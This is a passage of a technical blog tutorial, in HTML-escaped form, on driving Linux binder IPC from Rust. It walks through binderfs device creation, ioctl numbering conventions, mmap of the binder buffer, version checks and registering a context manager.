&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="n"&gt;libc&lt;/span&gt;::&lt;span class="n"&gt;_IOWR&lt;/span&gt;::&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="n"&gt;binderfs_device&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sc"&gt;b&amp;#39;b&amp;#39;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;as&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kt"&gt;u32&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="k"&gt;mut&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;ioctl&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;};&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;ret&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;Err&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;io&lt;/span&gt;::&lt;span class="n"&gt;Error&lt;/span&gt;::&lt;span class="n"&gt;last_os_error&lt;/span&gt;&lt;span class="p"&gt;());&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="c1"&gt;// chmod to 0666 so we don&amp;#39;t have to run other commands as root later&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="kd"&gt;let&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;mut&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;binder_result_path&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;PathBuf&lt;/span&gt;::&lt;span class="n"&gt;from&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;binderfs_path&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;binder_result_path&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;push&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;devname&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;std&lt;/span&gt;::&lt;span class="n"&gt;fs&lt;/span&gt;::&lt;span class="n"&gt;set_permissions&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;binder_result_path&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;perm_0666&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="o"&gt;?&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nb"&gt;Ok&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;ExitCode&lt;/span&gt;::&lt;span class="n"&gt;SUCCESS&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;If we compile this code and then run it as &lt;code&gt;root&lt;/code&gt;, we should get:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;$&lt;span class="w"&gt; &lt;/span&gt;sudo&lt;span class="w"&gt; &lt;/span&gt;./target/debug/makebinder&lt;span class="w"&gt; &lt;/span&gt;/tmp/bindertest&lt;span class="w"&gt; &lt;/span&gt;binder
$&lt;span class="w"&gt; &lt;/span&gt;ls&lt;span class="w"&gt; &lt;/span&gt;/tmp/bindertest/
binder&lt;span class="w"&gt;  &lt;/span&gt;binder-control&lt;span class="w"&gt;  &lt;/span&gt;features
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Notice the &lt;code&gt;binder&lt;/code&gt; device which we have now created!&lt;/p&gt;
&lt;p&gt;As explained in the kernel documentation, binder devices can be deleted using commands such as &lt;code&gt;rm&lt;/code&gt;.&lt;/p&gt;
&lt;h1&gt;Understanding Linux ioctls and UAPI headers&lt;/h1&gt;
&lt;p&gt;&lt;a href="https://man7.org/linux/man-pages/man2/ioctl.2.html"&gt;&lt;code&gt;ioctl&lt;/code&gt;&lt;/a&gt; is a system call for performing driver-specific operations on a file. This… isn't exactly well-defined, and different drivers can use this to do wildly different things. For example, one of the earliest uses of &lt;code&gt;ioctl&lt;/code&gt; was to &lt;a href="https://man7.org/linux/man-pages/man4/tty_ioctl.4.html"&gt;control terminals, pseudoterminals, and serial ports&lt;/a&gt;. Many Linux hardware driver APIs, such as for USB or 3D graphics, use &lt;code&gt;ioctl&lt;/code&gt; to submit requests. In our case, binder uses &lt;code&gt;ioctl&lt;/code&gt; to do basically everything (instead of, for example, using &lt;code&gt;read&lt;/code&gt;/&lt;code&gt;write&lt;/code&gt; or adding new dedicated system calls).&lt;/p&gt;
&lt;p&gt;&lt;code&gt;ioctl&lt;/code&gt; requests contain a command (which is a number) and optionally a pointer to some more data. Although this command can be any number, Linux has &lt;a href="https://docs.kernel.org/driver-api/ioctl.html"&gt;a convention&lt;/a&gt; to help organize the numbers being used. This convention breaks the number up into a subsystem (called &lt;code&gt;type&lt;/code&gt;), a command (called &lt;code&gt;nr&lt;/code&gt;), the size of the additional data, and the expected direction that data will be transferred.&lt;/p&gt;
&lt;p&gt;Some of the reasons for organizing the command numbers this way are:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;to help reduce the chances that sending a command to the wrong driver will accidentally do something random (instead, the number wouldn't be recognized, because the subsystem would be different)&lt;/li&gt;
&lt;li&gt;to allow the additional data to be changed in the future (changing the size of the data changes the &lt;code&gt;ioctl&lt;/code&gt; command number, so it is possible to tell the difference between old and new versions)&lt;/li&gt;
&lt;li&gt;to allow programming languages to try to check that the correct data was passed (this is not possible in C, but a better Rust &lt;code&gt;ioctl&lt;/code&gt; API could theoretically do this)&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;The uAPI (userspace API) header file for binderfs defines a single &lt;code&gt;ioctl&lt;/code&gt;:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="cp"&gt;#define BINDER_CTL_ADD _IOWR(&amp;#39;b&amp;#39;, 1, struct binderfs_device)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;According to the Linux convention, the subsystem is the value &lt;code&gt;'b'&lt;/code&gt; (or 98 in decimal) and the actual command number is &lt;code&gt;1&lt;/code&gt;. The data is both sent to and received back from the kernel (&lt;code&gt;WR&lt;/code&gt;), and the type of this data is &lt;code&gt;struct binderfs_device&lt;/code&gt;. This struct is defined above in the header file, and we have translated it to its Rust equivalent.&lt;/p&gt;
&lt;p&gt;When we issue the &lt;code&gt;ioctl&lt;/code&gt; call, we specify the &lt;code&gt;name&lt;/code&gt; field only. When the call is finished, the kernel modifies the data we pass in and tells us the major and minor device numbers of the binder device we just created. We don't actually have a use for this, and so we ignore it. However, because the kernel writes to the struct we pass in, it is important to pass a &lt;code&gt;&amp;amp;mut&lt;/code&gt; pointer.&lt;/p&gt;
&lt;p&gt;The binder device node itself (rather than the &lt;code&gt;binder-control&lt;/code&gt; file) has &lt;a href="https://github.com/torvalds/linux/blob/40fc797ba18328e57ed1cb213b4b5e48f86f4c7c/include/uapi/linux/android/binder.h#L261-L274"&gt;these &lt;code&gt;ioctl&lt;/code&gt;s&lt;/a&gt;.&lt;/p&gt;
&lt;h1&gt;Opening a binder device&lt;/h1&gt;
&lt;p&gt;A binder device node can be opened just like a regular file:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="kd"&gt;let&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;devname&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;args&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;];&lt;/span&gt;
&lt;span class="kd"&gt;let&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;binder_file&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;std&lt;/span&gt;::&lt;span class="n"&gt;fs&lt;/span&gt;::&lt;span class="n"&gt;File&lt;/span&gt;::&lt;span class="n"&gt;open&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;devname&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="o"&gt;?&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="kd"&gt;let&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;binder_fd&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;binder_file&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;as_raw_fd&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
&lt;span class="fm"&gt;dbg!&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;binder_fd&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Interestingly, it does not seem to matter what open mode is used, and so the normal Rust &lt;code&gt;std::fs::File::open&lt;/code&gt; works just fine. However, we need to extract the raw file descriptor in order to do anything useful with the file (normal reading and writing doesn't work).&lt;/p&gt;
&lt;p&gt;One of binder's special optimizations (because it's designed specifically for &lt;em&gt;local&lt;/em&gt; RPC) is that it can copy data directly from one program to another, without making an extra copy inside the kernel. This is in contrast to a pipe which more-or-less is &lt;em&gt;explicitly&lt;/em&gt; &lt;a href="https://yarchive.net/comp/linux/splice.html"&gt;a buffer inside the kernel&lt;/a&gt;. This is also slightly different from shared memory in that the kernel handles memory allocation in the recipient process (and so the two processes do not share the exact same memory layout).&lt;/p&gt;
&lt;p&gt;In order for a user program to coordinate with the kernel where to put this data, it uses the &lt;a href="https://man7.org/linux/man-pages/man2/mmap.2.html"&gt;&lt;code&gt;mmap&lt;/code&gt;&lt;/a&gt; syscall:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="kd"&gt;let&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;mmap_addr&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;unsafe&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;libc&lt;/span&gt;::&lt;span class="n"&gt;mmap&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="n"&gt;ptr&lt;/span&gt;::&lt;span class="n"&gt;null_mut&lt;/span&gt;&lt;span class="p"&gt;(),&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="mi"&gt;1024&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;1024&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="n"&gt;libc&lt;/span&gt;::&lt;span class="n"&gt;PROT_READ&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="n"&gt;libc&lt;/span&gt;::&lt;span class="n"&gt;MAP_PRIVATE&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;|&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;libc&lt;/span&gt;::&lt;span class="n"&gt;MAP_NORESERVE&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="n"&gt;binder_fd&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="p"&gt;};&lt;/span&gt;
&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;mmap_addr&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;as&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kt"&gt;isize&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;==&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;Err&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;io&lt;/span&gt;::&lt;span class="n"&gt;Error&lt;/span&gt;::&lt;span class="n"&gt;last_os_error&lt;/span&gt;&lt;span class="p"&gt;());&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="fm"&gt;dbg!&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;mmap_addr&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;This code allocates 1 MiB of total space that the kernel will allocate from to store data received from other programs. Because the kernel is in control of managing this space, it only allows your program to map it read-only (&lt;code&gt;PROT_READ&lt;/code&gt;). This prevents race conditions between the user program and the kernel.&lt;/p&gt;
&lt;p&gt;To actually do anything useful, we use &lt;code&gt;ioctl&lt;/code&gt; as mentioned. The most basic &lt;code&gt;ioctl&lt;/code&gt; checks the supported API version:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="k"&gt;pub&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;fn&lt;/span&gt; &lt;span class="nf"&gt;binder_version&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;fd&lt;/span&gt;: &lt;span class="kt"&gt;i32&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;-&amp;gt; &lt;span class="nc"&gt;io&lt;/span&gt;::&lt;span class="nb"&gt;Result&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="kt"&gt;i32&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="kd"&gt;let&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;mut&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;ver&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="kd"&gt;let&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;ret&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;unsafe&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;libc&lt;/span&gt;::&lt;span class="n"&gt;ioctl&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;fd&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;libc&lt;/span&gt;::&lt;span class="n"&gt;_IOWR&lt;/span&gt;::&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="kt"&gt;i32&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sc"&gt;b&amp;#39;b&amp;#39;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;as&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kt"&gt;u32&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;9&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="k"&gt;mut&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;ver&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;};&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;ret&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;Err&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;io&lt;/span&gt;::&lt;span class="n"&gt;Error&lt;/span&gt;::&lt;span class="n"&gt;last_os_error&lt;/span&gt;&lt;span class="p"&gt;());&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nb"&gt;Ok&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;ver&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;This &lt;code&gt;ioctl&lt;/code&gt; is declared in the C header as exchanging a &lt;code&gt;binder_version&lt;/code&gt; struct. However, this struct has the following contents:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="cm"&gt;/* Use with BINDER_VERSION, driver fills in fields. */&lt;/span&gt;
&lt;span class="k"&gt;struct&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nc"&gt;binder_version&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="cm"&gt;/* driver protocol version -- increment with incompatible change */&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;__s32&lt;/span&gt;&lt;span class="w"&gt;       &lt;/span&gt;&lt;span class="n"&gt;protocol_version&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;};&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;This means that the struct has the exact same size and layout as a 32-bit signed integer, so we can cheat in our Rust code and perform the &lt;code&gt;ioctl&lt;/code&gt; with an &lt;code&gt;i32&lt;/code&gt;. Cheating in this way might complicate handling future upgrades to the protocol, however (e.g. if additional fields are added to the struct).&lt;/p&gt;
&lt;p&gt;Combining all of the above code into a complete program might output something like the following:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;[src/bin/server.rs:22:5] binder_fd = 3
[src/bin/server.rs:37:5] mmap_addr = 0x00007f886e684000
[src/bin/server.rs:39:5] binder_version(binder_fd)? = 8
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;The version &lt;code&gt;8&lt;/code&gt; matches the uAPI header file, and a proper program should check that the version is as expected (our example code will print it out but won't bother verifying).&lt;/p&gt;
&lt;h1&gt;Bootstrapping&lt;/h1&gt;
&lt;p&gt;Binder RPCs are made on objects. Now that we've opened a binder device node, how do we get hold of an object to send requests to? Other programs can send us object references in reply to our own RPCs (discussed later), but how do we get a &lt;em&gt;first&lt;/em&gt; object?&lt;/p&gt;
&lt;p&gt;This is a classic bootstrapping problem encountered by many &lt;a href="https://en.wikipedia.org/wiki/Microkernel"&gt;microkernel&lt;/a&gt; operating systems, and the usual solution is to make a single special global bootstrapping service. In binder, this is called the &lt;em&gt;context manager&lt;/em&gt; in the driver layer or &lt;a href="https://android.googlesource.com/platform/frameworks/base/+/HEAD/core/java/android/os/ServiceManager.java"&gt;&lt;code&gt;ServiceManager&lt;/code&gt;&lt;/a&gt; in the Android OS core. Calls can be made to this manager by using an object reference with a value of &lt;code&gt;0&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;In our case, we designate one process as the context manager by making the &lt;code&gt;BINDER_SET_CONTEXT_MGR&lt;/code&gt; ioctl:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="k"&gt;pub&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;fn&lt;/span&gt; &lt;span class="nf"&gt;binder_set_context_mgr&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;fd&lt;/span&gt;: &lt;span class="kt"&gt;i32&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;-&amp;gt; &lt;span class="nc"&gt;io&lt;/span&gt;::&lt;span class="nb"&gt;Result&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="kd"&gt;let&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;zero&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="k"&gt;i32&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="kd"&gt;let&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;ret&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;unsafe&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;libc&lt;/span&gt;::&lt;span class="n"&gt;ioctl&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;fd&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;libc&lt;/span&gt;::&lt;span class="n"&gt;_IOW&lt;/span&gt;::&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="kt"&gt;i32&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sc"&gt;b&amp;#39;b&amp;#39;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;as&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kt"&gt;u32&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;7&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;zero&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;};&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;ret&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;Err&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;io&lt;/span&gt;::&lt;span class="n"&gt;Error&lt;/span&gt;::&lt;span class="n"&gt;last_os_error&lt;/span&gt;&lt;span class="p"&gt;());&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nb"&gt;Ok&lt;/span&gt;&lt;span class="p"&gt;(())&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;The driver will only allow one program to do this.&lt;/p&gt;
&lt;h1&gt;Becoming a server&lt;/h1&gt;
